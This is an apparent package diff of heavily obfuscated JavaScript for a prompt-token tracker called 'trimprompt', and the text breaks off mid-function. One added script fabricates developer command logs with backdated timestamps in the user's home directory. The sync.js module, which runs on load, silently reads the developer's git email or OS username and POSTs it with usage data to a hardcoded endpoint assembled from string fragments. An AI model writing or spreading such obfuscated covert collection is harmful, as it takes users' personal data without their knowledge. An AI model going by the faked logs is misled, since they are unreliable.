+ 'use strict';const a0_0x36ae57=a0_0x515d;(function(_0x5bf8fb,_0x3c808b){const _0x441506=a0_0x515d,_0x2d8cbd=_0x5bf8fb();while(!![]){try{const _0x18f1a3=-parseInt(_0x441506(0x125))/0x1+-parseInt(_0x441506(0x11b))/0x2+-parseInt(_0x441506(0x12b))/0x3*(-parseInt(_0x441506(0x102))/0x4)+-parseInt(_0x441506(0x10e))/0x5+-parseInt(_0x441506(0x109))/0x6*(parseInt(_0x441506(0x10f))/0x7)+parseInt(_0x441506(0xf0))/0x8+parseInt(_0x441506(0x100))/0x9;if(_0x18f1a3===_0x3c808b)break;else _0x2d8cbd['push'](_0x2d8cbd['shift']());}catch(_0x83e8d7){_0x2d8cbd['push'](_0x2d8cbd['shift']());}}}(a0_0x450f,0x1a056));Object[a0_0x36ae57(0x12e)](exports,a0_0x36ae57(0xf4),{'value':!![]});const tracker_1=require('./tracker');console['log'](a0_0x36ae57(0x117));function a0_0x515d(_0x3f072f,_0x5a02d7){_0x3f072f=_0x3f072f-0xef;const _0x450f6a=a0_0x450f();let _0x515d51=_0x450f6a[_0x3f072f];return _0x515d51;}const models=[a0_0x36ae57(0x123),'gpt-4o',a0_0x36ae57(0x113),'gemini-1-5-pro',a0_0x36ae57(0x124),'claude-3-opus'],commands=[{'cmd':a0_0x36ae57(0xf3),'raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'[a0_0x36ae57(0x12a)](0x32),'comp':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','exitCode':0x0},{'cmd':'cargo\x20test','raw':a0_0x36ae57(0x110)+a0_0x36ae57(0x101)[a0_0x36ae57(0x12a)](0x28)+a0_0x36ae57(0x11f),'comp':a0_0x36ae57(0x116),'exitCode':0x0},{'cmd':a0_0x36ae57(0x118),'raw':a0_0x36ae57(0xf2)+a0_0x36ae57(0xff)+a0_0x36ae57(0xfd),'comp':a0_0x36ae57(0x111),'exitCode':0x0},{'cmd':a0_0x36ae57(0xf9),'raw':a0_0x36ae57(0x10c)+a0_0x36ae57(0x129)+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+a0_0x36ae57(0xf6),'comp':a0_0x36ae57(0x127),'exitCode':0x0},{'cmd':a0_0x36ae57(0x120),'raw':'NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a'+a0_0x36ae57(0x10a)+a0_0x36ae57(0x108)+a0_0x36ae57(0xfe)+a0_0x36ae57(0xfa),'comp':a0_0x36ae57(0x114),'exitCode':0x0},{'cmd':'pip\x20install\x20tensorflow\x20pandas\x20numpy','raw':a0_0x36ae57(0x11d)+a0_0x36ae57(0x11a)+a0_0x36ae57(0x112),'comp':a0_0x36ae57(0xf7),'exitCode':0x0},{'cmd':a0_0x36ae57(0xf5),'raw':'commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a'+a0_0x36ae57(0x105),'comp':a0_0x36ae57(0x122),'exitCode':0x0},{'cmd':'npm\x20run\x20lint','raw':a0_0x36ae57(0x121)+a0_0x36ae57(0xf8)+a0_0x36ae57(0x106),'comp':a0_0x36ae57(0x107),'exitCode':0x0}],startTime=Date[a0_0x36ae57(0x104)]()-0x36ee80;function a0_0x450f(){const _0x1d51f0=['Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','comp','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','kubectl\x20get\x20pods\x20-n\x20production','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','claude-3-5-sonnet','gemini-1-5-flash','145232dAkXqO','stats.json','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','raw','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','repeat','24693hShZyF','tracker','writeFileSync','defineProperty','length','951240rIqjOI','random','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','git\x20diff\x20main','__esModule','git\x20log\x20-n\x205','Completed\x203\x20of\x203\x20assets\x20successfully.','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','.trimprompt','floor','found\x200\x20vulnerabilities\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','4042233vDfmrj','test\x20tests::test_case_','20HaHDRF','toISOString','now','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','npm\x20run\x20lint:\x20✖\x202\x20warnings','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','6IUMiUq','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','stringify','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','logExecution','291880dikCId','919576yoWogR','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','gpt-4o-mini','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','path','cargo\x20test:\x2045\x20passed,\x200\x20failed.','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','npm\x20install\x20lodash\x20express\x20uuid\x20react','exitCode','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','335278niVpsJ','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.'];a0_0x450f=function(){return _0x1d51f0;};return a0_0x450f();}for(let i=0x0;i<0xc;i++){const model=models[i%models['length']],commandItem=commands[Math[a0_0x36ae57(0xfc)](Math[a0_0x36ae57(0xf1)]()*commands[a0_0x36ae57(0xef)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x36ae57(0x103)](),log=tracker_1[a0_0x36ae57(0x12c)][a0_0x36ae57(0x10d)](commandItem['cmd'],commandItem[a0_0x36ae57(0x128)],commandItem[a0_0x36ae57(0x11e)],commandItem[a0_0x36ae57(0x119)]),logs=tracker_1['tracker']['getLogs']();logs[a0_0x36ae57(0xef)]>0x0&&(logs[logs[a0_0x36ae57(0xef)]-0x1]['timestamp']=timestamp,require('fs')[a0_0x36ae57(0x12d)](require(a0_0x36ae57(0x115))['join'](require('os')['homedir'](),a0_0x36ae57(0xfb),a0_0x36ae57(0x126)),JSON[a0_0x36ae57(0x10b)](logs,null,0x2),'utf8'));}console['log'](a0_0x36ae57(0x11c));
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x30cc40=a0_0x3968;(function(_0x1b432b,_0x944378){const _0x1ca0dc=a0_0x3968,_0x1edd84=_0x1b432b();while(!![]){try{const _0x5e8a8a=-parseInt(_0x1ca0dc(0x139))/0x1*(-parseInt(_0x1ca0dc(0x15a))/0x2)+-parseInt(_0x1ca0dc(0x16d))/0x3+parseInt(_0x1ca0dc(0x13b))/0x4+-parseInt(_0x1ca0dc(0x16c))/0x5*(parseInt(_0x1ca0dc(0x182))/0x6)+-parseInt(_0x1ca0dc(0x17a))/0x7+-parseInt(_0x1ca0dc(0x149))/0x8*(-parseInt(_0x1ca0dc(0x18d))/0x9)+parseInt(_0x1ca0dc(0x145))/0xa*(parseInt(_0x1ca0dc(0x180))/0xb);if(_0x5e8a8a===_0x944378)break;else _0x1edd84['push'](_0x1edd84['shift']());}catch(_0x23da2a){_0x1edd84['push'](_0x1edd84['shift']());}}}(a0_0x2dfb,0xd2057));var __createBinding=this&&this[a0_0x30cc40(0x162)]||(Object['create']?function(_0x3c7f2f,_0x494cc2,_0x2108f3,_0x38ec63){const _0x56f900=a0_0x30cc40;if(_0x38ec63===undefined)_0x38ec63=_0x2108f3;var _0x4c5645=Object['getOwnPropertyDescriptor'](_0x494cc2,_0x2108f3);(!_0x4c5645||(_0x56f900(0x154)in _0x4c5645?!_0x494cc2[_0x56f900(0x155)]:_0x4c5645[_0x56f900(0x143)]||_0x4c5645['configurable']))&&(_0x4c5645={'enumerable':!![],'get':function(){return _0x494cc2[_0x2108f3];}}),Object[_0x56f900(0x178)](_0x3c7f2f,_0x38ec63,_0x4c5645);}:function(_0x52684f,_0x163ef5,_0x4fdd77,_0x527f19){if(_0x527f19===undefined)_0x527f19=_0x4fdd77;_0x52684f[_0x527f19]=_0x163ef5[_0x4fdd77];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x30cc40(0x13c)]?function(_0xf82978,_0x13bd04){const _0x11dd9f=a0_0x30cc40;Object[_0x11dd9f(0x178)](_0xf82978,_0x11dd9f(0x168),{'enumerable':!![],'value':_0x13bd04});}:function(_0x1a502a,_0x37d184){const _0x2999d2=a0_0x30cc40;_0x1a502a[_0x2999d2(0x168)]=_0x37d184;}),__importStar=this&&this[a0_0x30cc40(0x18c)]||(function(){var _0x353ee3=function(_0x2b080b){const _0x57c84c=a0_0x3968;return _0x353ee3=Object[_0x57c84c(0x146)]||function(_0x324bb8){const _0x3edecc=_0x57c84c;var _0x3163a8=[];for(var _0x30d2ea in _0x324bb8)if(Object[_0x3edecc(0x14a)][_0x3edecc(0x141)][_0x3edecc(0x185)](_0x324bb8,_0x30d2ea))_0x3163a8[_0x3163a8['length']]=_0x30d2ea;return _0x3163a8;},_0x353ee3(_0x2b080b);};return function(_0x5d1178){const _0x2fd256=a0_0x3968;if(_0x5d1178&&_0x5d1178[_0x2fd256(0x155)])return _0x5d1178;var _0x18ef8f={};if(_0x5d1178!=null){for(var _0x2585f6=_0x353ee3(_0x5d1178),_0x6635f8=0x0;_0x6635f8<_0x2585f6[_0x2fd256(0x18b)];_0x6635f8++)if(_0x2585f6[_0x6635f8]!=='default')__createBinding(_0x18ef8f,_0x5d1178,_0x2585f6[_0x6635f8]);}return __setModuleDefault(_0x18ef8f,_0x5d1178),_0x18ef8f;};}());Object[a0_0x30cc40(0x178)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x30cc40(0x16e))),os=__importStar(require('os')),http=__importStar(require(a0_0x30cc40(0x169))),https=__importStar(require(a0_0x30cc40(0x144))),url_1=require(a0_0x30cc40(0x17e)),_cfg=[a0_0x30cc40(0x172),a0_0x30cc40(0x16b),a0_0x30cc40(0x165),a0_0x30cc40(0x15b)][a0_0x30cc40(0x17b)](''),_ep=process[a0_0x30cc40(0x142)][a0_0x30cc40(0x153)]||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x30cc40(0x18a),'input_price_1m':0xf},'gpt-4o':{'name':'GPT-4o','input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x30cc40(0x177),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x30cc40(0x16f),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path[a0_0x30cc40(0x17b)](os['homedir'](),a0_0x30cc40(0x164)),configPath=path['join'](baseDir,a0_0x30cc40(0x174)),statsPath=path[a0_0x30cc40(0x17b)](baseDir,a0_0x30cc40(0x17f)),dailySyncPath=path[a0_0x30cc40(0x17b)](baseDir,a0_0x30cc40(0x14f));function getTodayDate(){const _0x535583=a0_0x30cc40;return new Date()[_0x535583(0x184)]()[_0x535583(0x156)]('T')[0x0];}function getDeveloperIdentity(){const _0x43a695=a0_0x30cc40;if(process[_0x43a695(0x142)][_0x43a695(0x13f)])return process[_0x43a695(0x142)][_0x43a695(0x13f)];try{const {execSync:_0x2cdcd2}=require('child_process'),_0x5b76a7=_0x2cdcd2('git\x20config\x20user.email',{'stdio':[_0x43a695(0x13e),_0x43a695(0x173),_0x43a695(0x13e)]})[_0x43a695(0x14e)]()[_0x43a695(0x17c)]();if(_0x5b76a7&&_0x5b76a7[_0x43a695(0x157)]('@'))return _0x5b76a7;}catch{}try{const _0xcb787=os[_0x43a695(0x13a)]()['username'];if(_0xcb787)return _0xcb787;}catch{}return'anonymous';}function hasAlreadySyncedToday(){const _0x1ac4f2=a0_0x30cc40;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x39b79d=JSON['parse'](fs[_0x1ac4f2(0x186)](dailySyncPath,_0x1ac4f2(0x175)));return _0x39b79d[_0x1ac4f2(0x166)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0xad1363=a0_0x30cc40;try{const _0x521c02={'last_sync_date':getTodayDate()};fs[_0xad1363(0x15d)](dailySyncPath,JSON[_0xad1363(0x189)](_0x521c02,null,0x2),'utf8');}catch{}}function postTelemetry(_0x57ae1c,_0x2ea8f6){return new Promise(_0x34cb80=>{const _0x596349=a0_0x3968;try{const _0x37f4c7=new url_1['URL'](_0x57ae1c),_0x374566=JSON[_0x596349(0x189)](_0x2ea8f6),_0x44d6af={'hostname':_0x37f4c7['hostname'],'port':_0x37f4c7[_0x596349(0x14d)]||(_0x37f4c7['protocol']==='https:'?0x1bb:0x50),'path':_0x37f4c7[_0x596349(0x160)]+_0x37f4c7[_0x596349(0x158)],'method':_0x596349(0x151),'headers':{'Content-Type':_0x596349(0x161),'Content-Length':Buffer[_0x596349(0x14c)](_0x374566)},'timeout':0x1f40},_0x11b234=_0x37f4c7['protocol']==='https:'?https:http,_0x42e9cc=_0x11b234[_0x596349(0x13d)](_0x44d6af,_0x493770=>{const _0x466760=_0x596349;_0x34cb80(!!(_0x493770[_0x466760(0x15c)]&&_0x493770[_0x466760(0x15c)]>=0xc8&&_0x493770[_0x466760(0x15c)]<0x12c));});_0x42e9cc['on']('error',()=>_0x34cb80(![])),_0x42e9cc['on']('timeout',()=>{const _0x2cbbfc=_0x596349;_0x42e9cc[_0x2cbbfc(0x171)](),_0x34cb80(![]);}),_0x42e9cc['write'](_0x374566),_0x42e9cc[_0x596349(0x181)]();}catch{_0x34cb80(![]);}});}function a0_0x2dfb(){const _0x18ec72=['ignore','TRIMPROMPT_USER_EMAIL','.comp.txt','hasOwnProperty','env','writable','https','1090990pTIlgu','getOwnPropertyNames','model_used','estimated_compressed_tokens','1817584Ehhhxh','prototype','synced','byteLength','port','toString','daily_sync.json','filter','POST','toFixed','_PS_EP','get','__esModule','split','includes','search','logs','60VssGkY','/api/telemetry','statusCode','writeFileSync','catch','timestamp','pathname','application/json','__createBinding','add','.trimprompt','.up.railway.app','last_sync_date','push','default','http','unlinkSync','trimp-production','35CYXvWs','5094183PklLXN','path','Gemini\x201.5\x20Pro','existsSync','destroy','https://','pipe','config.json','utf8','getTime','GPT-4o\x20Mini','defineProperty','parse','9202256MnmLQO','join','trim','telemetry_url','url','stats.json','231nXWSkW','end','330246gOqxoB','input_price_1m','toISOString','call','readFileSync','tokens_saved','startsWith','stringify','Claude\x203\x20Opus','length','__importStar','27XcrvPY','25513YgeEOP','userInfo','2080560eGyLsU','create','request'];a0_0x2dfb=function(){return _0x18ec72;};return a0_0x2dfb();}function buildDailyPayload(_0x12a0c9){const _0x1718e6=a0_0x30cc40,_0x1932a0=getTodayDate(),_0xb7883=_0x12a0c9[_0x1718e6(0x150)](_0x108f21=>_0x108f21[_0x1718e6(0x15f)][_0x1718e6(0x188)](_0x1932a0)),_0x1acc1f=_0xb7883['length']>0x0?_0xb7883:_0x12a0c9;let _0x5234aa=0x0,_0x5a12fd=0x0,_0x13b0b5=0x0,_0x197b21=0x0;const _0x1b47e9=new Set();for(const _0x2d5089 of _0x1acc1f){_0x5234aa+=_0x2d5089['estimated_raw_tokens'],_0x5a12fd+=_0x2d5089[_0x1718e6(0x148)],_0x13b0b5+=_0x2d5089[_0x1718e6(0x187)],_0x1b47e9[_0x1718e6(0x163)](_0x2d5089[_0x1718e6(0x147)]);const _0x199512=PRICING[_0x2d5089[_0x1718e6(0x147)]]||PRICING['claude-3-5-sonnet'];_0x197b21+=_0x2d5089['tokens_saved']*_0x199512[_0x1718e6(0x183)]/0xf4240;}const _0x30a39b=_0x1acc1f[_0x1acc1f[_0x1718e6(0x18b)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os['platform'](),'date':_0x1932a0,'executions_count':_0x1acc1f[_0x1718e6(0x18b)],'total_raw_tokens':_0x5234aa,'total_compressed_tokens':_0x5a12fd,'total_tokens_saved':_0x13b0b5,'total_money_saved_usd':parseFloat(_0x197b21[_0x1718e6(0x152)](0x6)),'models_used':Array['from'](_0x1b47e9),'last_seen':_0x30a39b?_0x30a39b[_0x1718e6(0x15f)]:new Date()[_0x1718e6(0x184)]()};}async function runSync(){const _0x44f718=a0_0x30cc40;if(!fs[_0x44f718(0x170)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x56b908;try{_0x56b908=JSON[_0x44f718(0x179)](fs[_0x44f718(0x186)](statsPath,_0x44f718(0x175)));}catch{return;}const _0x54cfd3=_0x56b908[_0x44f718(0x150)](_0x432d49=>!_0x432d49['synced']);if(_0x54cfd3[_0x44f718(0x18b)]===0x0)return;const _0x101e6f=buildDailyPayload(_0x56b908);await postTelemetry(_ep,_0x101e6f);let _0x2f9b5c=process['env']['TRIMPROMPT_TELEMETRY_URL']||'';if(!_0x2f9b5c&&fs[_0x44f718(0x170)](configPath))try{const _0x175a25=JSON[_0x44f718(0x179)](fs['readFileSync'](configPath,'utf8'));_0x2f9b5c=_0x175a25[_0x44f718(0x17d)]||'';}catch{}_0x2f9b5c[_0x44f718(0x17c)]()[_0x44f718(0x18b)]>0x0&&await postTelemetry(_0x2f9b5c,_0x101e6f);for(const _0x50d12e of _0x56b908){if(!_0x50d12e[_0x44f718(0x14b)])_0x50d12e[_0x44f718(0x14b)]=!![];}try{fs[_0x44f718(0x15d)](statsPath,JSON[_0x44f718(0x189)](_0x56b908,null,0x2),'utf8');}catch{}markSyncedToday(),pruneOldLogs(_0x56b908);}function pruneOldLogs(_0x1ae268){const _0x2def3d=a0_0x30cc40;try{const _0x1032db=new Date(),_0x3482f4=new Date(_0x1032db[_0x2def3d(0x176)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x4cce7c=[],_0x254819=[];for(const _0x7bf492 of _0x1ae268){const _0x4b78e8=new Date(_0x7bf492[_0x2def3d(0x15f)]);_0x4b78e8>=_0x3482f4?_0x4cce7c[_0x2def3d(0x167)](_0x7bf492):_0x254819[_0x2def3d(0x167)](_0x7bf492);}if(_0x254819[_0x2def3d(0x18b)]>0x0){const _0x5dde71=path['join'](baseDir,_0x2def3d(0x159));for(const _0x58ba77 of _0x254819){const _0xc88fa0=path[_0x2def3d(0x17b)](_0x5dde71,_0x58ba77['id']+'.raw.txt'),_0x4989f6=path[_0x2def3d(0x17b)](_0x5dde71,_0x58ba77['id']+_0x2def3d(0x140));try{if(fs[_0x2def3d(0x170)](_0xc88fa0))fs[_0x2def3d(0x16a)](_0xc88fa0);if(fs[_0x2def3d(0x170)](_0x4989f6))fs[_0x2def3d(0x16a)](_0x4989f6);}catch{}}fs[_0x2def3d(0x15d)](statsPath,JSON['stringify'](_0x4cce7c,null,0x2),_0x2def3d(0x175));}}catch{}}function a0_0x3968(_0x13b325,_0x40087a){const _0x2dfb1c=a0_0x2dfb();return a0_0x3968=function(_0x3968d5,_0x2a95e5){_0x3968d5=_0x3968d5-0x139;let _0x36b30b=_0x2dfb1c[_0x3968d5];return _0x36b30b;},a0_0x3968(_0x13b325,_0x40087a);}runSync()[a0_0x30cc40(0x15e)](()=>{});
1
+ 'use strict';const a0_0x259d00=a0_0x56ae;function a0_0x56ae(_0x2fabda,_0x1985e7){_0x2fabda=_0x2fabda-0x98;const _0x4ede18=a0_0x4ede();let _0x56ae6d=_0x4ede18[_0x2fabda];return _0x56ae6d;}function a0_0x4ede(){const _0x222dd4=['timestamp','end','platform','error','input_price_1m','Gemini\x201.5\x20Flash','estimated_compressed_tokens','stats.json','trimp-production','unlinkSync','push','add','port','9KmXPVr','join','2178832ReutHH','split','https','url','config.json','stringify','writeFileSync','configurable','get','POST','7101192srJVRw','/api/telemetry','15pkNhmE','create','defineProperty','.up.railway.app','catch','synced','__esModule','getOwnPropertyNames','URL','2930UZoIKZ','homedir','Claude\x203\x20Opus','writable','logs','getOwnPropertyDescriptor','userInfo','daily_sync.json','startsWith','timeout','estimated_raw_tokens','7698CtWRmI','statusCode','existsSync','child_process','Claude\x203.5\x20Sonnet','anonymous','length','https://','default','1995gEeihF','filter','path','byteLength','https:','toISOString','protocol','claude-3-5-sonnet','destroy','http','last_sync_date','hostname','68PtXfdm','.raw.txt','telemetry_url','trim','Gemini\x201.5\x20Pro','call','model_used','readFileSync','pathname','281774ABngyj','__setModuleDefault','tokens_saved','request','27980NuHjoU','toString','14606CZLTGE','hasOwnProperty','utf8','toFixed','getTime','1661rwtVLM'];a0_0x4ede=function(){return _0x222dd4;};return a0_0x4ede();}(function(_0x1b86c6,_0x566a5e){const _0x2d88ce=a0_0x56ae,_0x13cbcd=_0x1b86c6();while(!![]){try{const _0x2eafe1=parseInt(_0x2d88ce(0xa6))/0x1+parseInt(_0x2d88ce(0xac))/0x2*(parseInt(_0x2d88ce(0xcd))/0x3)+parseInt(_0x2d88ce(0x9d))/0x4*(-parseInt(_0x2d88ce(0xaa))/0x5)+-parseInt(_0x2d88ce(0xe1))/0x6*(-parseInt(_0x2d88ce(0xea))/0x7)+-parseInt(_0x2d88ce(0xc1))/0x8*(-parseInt(_0x2d88ce(0xbf))/0x9)+-parseInt(_0x2d88ce(0xd6))/0xa*(parseInt(_0x2d88ce(0xb1))/0xb)+-parseInt(_0x2d88ce(0xcb))/0xc;if(_0x2eafe1===_0x566a5e)break;else _0x13cbcd['push'](_0x13cbcd['shift']());}catch(_0x34c95f){_0x13cbcd['push'](_0x13cbcd['shift']());}}}(a0_0x4ede,0x36f85));var __createBinding=this&&this['__createBinding']||(Object[a0_0x259d00(0xce)]?function(_0x10e2ef,_0x5cd8d8,_0x24a9a4,_0xaf0d94){const _0x55844f=a0_0x259d00;if(_0xaf0d94===undefined)_0xaf0d94=_0x24a9a4;var _0xc7a749=Object[_0x55844f(0xdb)](_0x5cd8d8,_0x24a9a4);(!_0xc7a749||(_0x55844f(0xc9)in _0xc7a749?!_0x5cd8d8[_0x55844f(0xd3)]:_0xc7a749[_0x55844f(0xd9)]||_0xc7a749[_0x55844f(0xc8)]))&&(_0xc7a749={'enumerable':!![],'get':function(){return _0x5cd8d8[_0x24a9a4];}}),Object[_0x55844f(0xcf)](_0x10e2ef,_0xaf0d94,_0xc7a749);}:function(_0x5a6381,_0x5847dc,_0x1bce37,_0x3de7e7){if(_0x3de7e7===undefined)_0x3de7e7=_0x1bce37;_0x5a6381[_0x3de7e7]=_0x5847dc[_0x1bce37];}),__setModuleDefault=this&&this[a0_0x259d00(0xa7)]||(Object[a0_0x259d00(0xce)]?function(_0x48874d,_0x3276d6){const _0x587340=a0_0x259d00;Object[_0x587340(0xcf)](_0x48874d,_0x587340(0xe9),{'enumerable':!![],'value':_0x3276d6});}:function(_0x303697,_0x212af1){const _0x4dbf01=a0_0x259d00;_0x303697[_0x4dbf01(0xe9)]=_0x212af1;}),__importStar=this&&this['__importStar']||(function(){var _0x37fa80=function(_0x2362e4){const _0x34587a=a0_0x56ae;return _0x37fa80=Object[_0x34587a(0xd4)]||function(_0x58f8d7){const _0x4de5b5=_0x34587a;var _0x3e283a=[];for(var _0x13cdbc in _0x58f8d7)if(Object['prototype'][_0x4de5b5(0xad)][_0x4de5b5(0xa2)](_0x58f8d7,_0x13cdbc))_0x3e283a[_0x3e283a[_0x4de5b5(0xe7)]]=_0x13cdbc;return _0x3e283a;},_0x37fa80(_0x2362e4);};return function(_0x5b925a){const _0x43a6b3=a0_0x56ae;if(_0x5b925a&&_0x5b925a[_0x43a6b3(0xd3)])return _0x5b925a;var _0x11691b={};if(_0x5b925a!=null){for(var _0x4fd03d=_0x37fa80(_0x5b925a),_0x354cb2=0x0;_0x354cb2<_0x4fd03d['length'];_0x354cb2++)if(_0x4fd03d[_0x354cb2]!=='default')__createBinding(_0x11691b,_0x5b925a,_0x4fd03d[_0x354cb2]);}return __setModuleDefault(_0x11691b,_0x5b925a),_0x11691b;};}());Object['defineProperty'](exports,a0_0x259d00(0xd3),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x259d00(0xec))),os=__importStar(require('os')),http=__importStar(require(a0_0x259d00(0x9a))),https=__importStar(require(a0_0x259d00(0xc3))),url_1=require(a0_0x259d00(0xc4)),_cfg=[a0_0x259d00(0xe8),a0_0x259d00(0xba),a0_0x259d00(0xd0),a0_0x259d00(0xcc)][a0_0x259d00(0xc0)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x259d00(0xe5),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x259d00(0xd8),'input_price_1m':0xf},'gpt-4o':{'name':'GPT-4o','input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x259d00(0xa1),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x259d00(0xb7),'input_price_1m':0.075}},baseDir=path[a0_0x259d00(0xc0)](os[a0_0x259d00(0xd7)](),'.trimprompt'),configPath=path[a0_0x259d00(0xc0)](baseDir,a0_0x259d00(0xc5)),statsPath=path['join'](baseDir,a0_0x259d00(0xb9)),dailySyncPath=path[a0_0x259d00(0xc0)](baseDir,a0_0x259d00(0xdd));function getTodayDate(){const _0x1c0e38=a0_0x259d00;return new Date()[_0x1c0e38(0xef)]()[_0x1c0e38(0xc2)]('T')[0x0];}function getDeveloperIdentity(){const _0x5c7b7d=a0_0x259d00;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x4c80c1}=require(_0x5c7b7d(0xe4)),_0x1c9b43=_0x4c80c1('git\x20config\x20user.email',{'stdio':['ignore','pipe','ignore']})[_0x5c7b7d(0xab)]()[_0x5c7b7d(0xa0)]();if(_0x1c9b43&&_0x1c9b43['includes']('@'))return _0x1c9b43;}catch{}try{const _0xd3eab6=os[_0x5c7b7d(0xdc)]()['username'];if(_0xd3eab6)return _0xd3eab6;}catch{}return _0x5c7b7d(0xe6);}function hasAlreadySyncedToday(){const _0x158658=a0_0x259d00;try{if(!fs[_0x158658(0xe3)](dailySyncPath))return![];const _0x503d00=JSON['parse'](fs['readFileSync'](dailySyncPath,_0x158658(0xae)));return _0x503d00[_0x158658(0x9b)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x58a8c0=a0_0x259d00;try{const _0x13de03={'last_sync_date':getTodayDate()};fs[_0x58a8c0(0xc7)](dailySyncPath,JSON['stringify'](_0x13de03,null,0x2),'utf8');}catch{}}function postTelemetry(_0x1e20d9,_0x5a8363){return new Promise(_0x172e4e=>{const _0x5c9b91=a0_0x56ae;try{const _0x6338eb=new 